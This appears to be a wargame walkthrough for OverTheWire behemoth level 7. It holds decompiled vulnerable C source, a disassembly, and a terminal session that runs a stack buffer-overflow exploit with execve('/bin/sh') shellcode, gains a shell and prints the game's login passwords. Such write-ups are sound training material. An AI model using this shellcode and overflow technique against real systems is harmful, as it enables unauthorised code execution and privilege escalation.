behemoth - 07

来源：互联网发布：注销淘宝店铺重新开通编辑：程序博客网时间：2024/05/17 18:02

#include <stdio.h>#include <ctype.h>#include <string.h>#include <stdlib.h>extern char **environ;int main(int argc, char *argv[]){char *argv1 = argv[1];/* 0x21c */int envcnt;/* 0x218 */int slen;/* 0x214 */char buf[512];/* 0x014 */envcnt = 0;for(envcnt = 0; environ[envcnt] != NULL; envcnt++)memset(environ[envcnt], '\0', strlen(environ[envcnt]));if (argc <= 1)return 0;for (slen = 0; slen <= 511; slen++) {if (isalpha(argv1[slen]) || isdigit(argv1[slen]))continue;fprintf(stderr, "Non-%s chars found in string, possible shellcode!\n", "alpha");exit(1);}strcpy(buf, argv[1]);return 0;}

栈环境

root@today:~# ssh behemoth7@178.79.134.250behemoth7@178.79.134.250's password: baquoxuafobehemoth7@melinda:~$ cd /tmp/shui7behemoth7@melinda:/tmp/shui7$ vi 12345678901234567890123.cbehemoth7@melinda:/tmp/shui7$ cat  onlyyou.c #include <stdio.h>int main(int argc, char *argv[]){    printf("%p %p\n", argv[1], argv[2]);    return 0;}behemoth7@melinda:/tmp/shui7$ gcc 12345678901234567890123.c -o 12345678901234567890123 -m32behemoth7@melinda:/tmp/shui7$ ./12345678901234567890123 `python -c 'print "U"*536 + "\xf5\xd7\xff\xff"'` `python -c 'print "\x6a\x0b\x58\x31\xf6\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\xcd\x80"'`0xffffd598 0xffffd7b5behemoth7@melinda:/tmp/shui7$ /games/behemoth/behemoth7 `python -c 'print "U"*536 + "\xb5\xd7\xff\xff"'` `python -c 'print "\x6a\x0b\x58\x31\xf6\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\xcd\x80"'`$ whoamibehemoth8$ cat /etc/behemoth_pass/behemoth8pheewij7Ae$

   ┌─────────────────────────────────────────────────────────────────────────────────┐   │0x804852d <main>        push   %ebp                                              │   │0x804852e <main+1>      mov    %esp,%ebp                                         │   │0x8048530 <main+3>      and    $0xfffffff0,%esp                                  │   │0x8048533 <main+6>      sub    $0x220,%esp                                       │   │0x8048539 <main+12>     mov    0xc(%ebp),%eax                                    │   │0x804853c <main+15>     mov    0x4(%eax),%eax                                    │   │0x804853f <main+18>     mov    %eax,0x21c(%esp)                                  │   │0x8048546 <main+25>     movl   $0x0,0x218(%esp)                                  │   │0x8048551 <main+36>     jmp    0x80485a1 <main+116>                              │   │0x8048553 <main+38>     mov    0x218(%esp),%eax                                  │   │0x804855a <main+45>     lea    0x0(,%eax,4),%edx                                 │   │0x8048561 <main+52>     mov    0x10(%ebp),%eax                                   │   │0x8048564 <main+55>     add    %edx,%eax                                         │   │0x8048566 <main+57>     mov    (%eax),%eax                                       │   │0x8048568 <main+59>     mov    %eax,(%esp)                                       │   │0x804856b <main+62>     call   0x80483e0 <strlen@plt>                            │   │0x8048570 <main+67>     mov    0x218(%esp),%edx                                  │   │0x8048577 <main+74>     lea    0x0(,%edx,4),%ecx                                 │   │0x804857e <main+81>     mov    0x10(%ebp),%edx                                   │   │0x8048581 <main+84>     add    %ecx,%edx                                         │   │0x8048583 <main+86>     mov    (%edx),%edx                                       │   │0x8048585 <main+88>     mov    %eax,0x8(%esp)                                    │   │0x8048589 <main+92>     movl   $0x0,0x4(%esp)                                    │   │0x8048591 <main+100>    mov    %edx,(%esp)                                       │   │0x8048594 <main+103>    call   0x8048410 <memset@plt>                            │   │0x8048599 <main+108>    addl   $0x1,0x218(%esp)                                  │   │0x80485a1 <main+116>    mov    0x218(%esp),%eax                                  │   │0x80485a8 <main+123>    lea    0x0(,%eax,4),%edx                                 │   │0x80485af <main+130>    mov    0x10(%ebp),%eax                                   │   │0x80485b2 <main+133>    add    %edx,%eax                                         │   │0x80485b4 <main+135>    mov    (%eax),%eax                                       │   │0x80485b6 <main+137>    test   %eax,%eax                                         │   │0x80485b8 <main+139>    jne    0x8048553 <main+38>                               │   └─────────────────────────────────────────────────────────────────────────────────┘   ┌─────────────────────────────────────────────────────────────────────────────────┐   │0x80485ba <main+141>    movl   $0x0,0x214(%esp)                                  │   │0x80485c5 <main+152>    cmpl   $0x1,0x8(%ebp)                                    │   │0x80485c9 <main+156>    jle    0x8048692 <main+357>                              │   │0x80485cf <main+162>    jmp    0x804865b <main+302>                              │   │0x80485d4 <main+167>    addl   $0x1,0x214(%esp)                                  │   │0x80485dc <main+175>    call   0x8048420 <__ctype_b_loc@plt>                     │   │0x80485e1 <main+180>    mov    (%eax),%edx                                       │   │0x80485e3 <main+182>    mov    0x21c(%esp),%eax                                  │   │0x80485ea <main+189>    movzbl (%eax),%eax                                       │   │0x80485ed <main+192>    movsbl %al,%eax                                          │   │0x80485f0 <main+195>    add    %eax,%eax                                         │   │0x80485f2 <main+197>    add    %edx,%eax                                         │   │0x80485f4 <main+199>    movzwl (%eax),%eax                                       │   │0x80485f7 <main+202>    movzwl %ax,%eax                                          │   │0x80485fa <main+205>    and    $0x400,%eax                                       │   │0x80485ff <main+210>    test   %eax,%eax                                         │   │0x8048601 <main+212>    jne    0x8048653 <main+294>                              │   │0x8048603 <main+214>    call   0x8048420 <__ctype_b_loc@plt>                     │   │0x8048608 <main+219>    mov    (%eax),%edx                                       │   │0x804860a <main+221>    mov    0x21c(%esp),%eax                                  │   │0x8048611 <main+228>    movzbl (%eax),%eax                                       │   │0x8048614 <main+231>    movsbl %al,%eax                                          │   │0x8048617 <main+234>    add    %eax,%eax                                         │   │0x8048619 <main+236>    add    %edx,%eax                                         │   │0x804861b <main+238>    movzwl (%eax),%eax                                       │   │0x804861e <main+241>    movzwl %ax,%eax                                          │   │0x8048621 <main+244>    and    $0x800,%eax                                       │   │0x8048626 <main+249>    test   %eax,%eax                                         │   │0x8048628 <main+251>    jne    0x8048653 <main+294>                              │   │0x804862a <main+253>    mov    0x8049974,%eax                                    │   │0x804862f <main+258>    movl   $0x8048730,0x8(%esp)                              │   │0x8048637 <main+266>    movl   $0x8048738,0x4(%esp)                              │   │0x804863f <main+274>    mov    %eax,(%esp)                                       │   └─────────────────────────────────────────────────────────────────────────────────┘   │0x8048642 <main+277>    call   0x8048400 <fprintf@plt>                           │   │0x8048647 <main+282>    movl   $0x1,(%esp)                                       │   │0x804864e <main+289>    call   0x80483d0 <exit@plt>                              │   │0x8048653 <main+294>    addl   $0x1,0x21c(%esp)                                  │   │0x804865b <main+302>    mov    0x21c(%esp),%eax                                  │   │0x8048662 <main+309>    movzbl (%eax),%eax                                       │   │0x8048665 <main+312>    test   %al,%al                                           │   │0x8048667 <main+314>    je     0x804867a <main+333>                              │   │0x8048669 <main+316>    cmpl   $0x1ff,0x214(%esp)                                │   │0x8048674 <main+327>    jle    0x80485d4 <main+167>                              │   │0x804867a <main+333>    mov    0xc(%ebp),%eax                                    │   │0x804867d <main+336>    add    $0x4,%eax                                         │   │0x8048680 <main+339>    mov    (%eax),%eax                                       │   │0x8048682 <main+341>    mov    %eax,0x4(%esp)                                    │   │0x8048686 <main+345>    lea    0x14(%esp),%eax                                   │   │0x804868a <main+349>    mov    %eax,(%esp)                                       │   │0x804868d <main+352>    call   0x80483b0 <strcpy@plt>                            │   │0x8048692 <main+357>    mov    $0x0,%eax                                         │   │0x8048697 <main+362>    leave                                                    │   │0x8048698 <main+363>    ret                                                      │   └─────────────────────────────────────────────────────────────────────────────────┘

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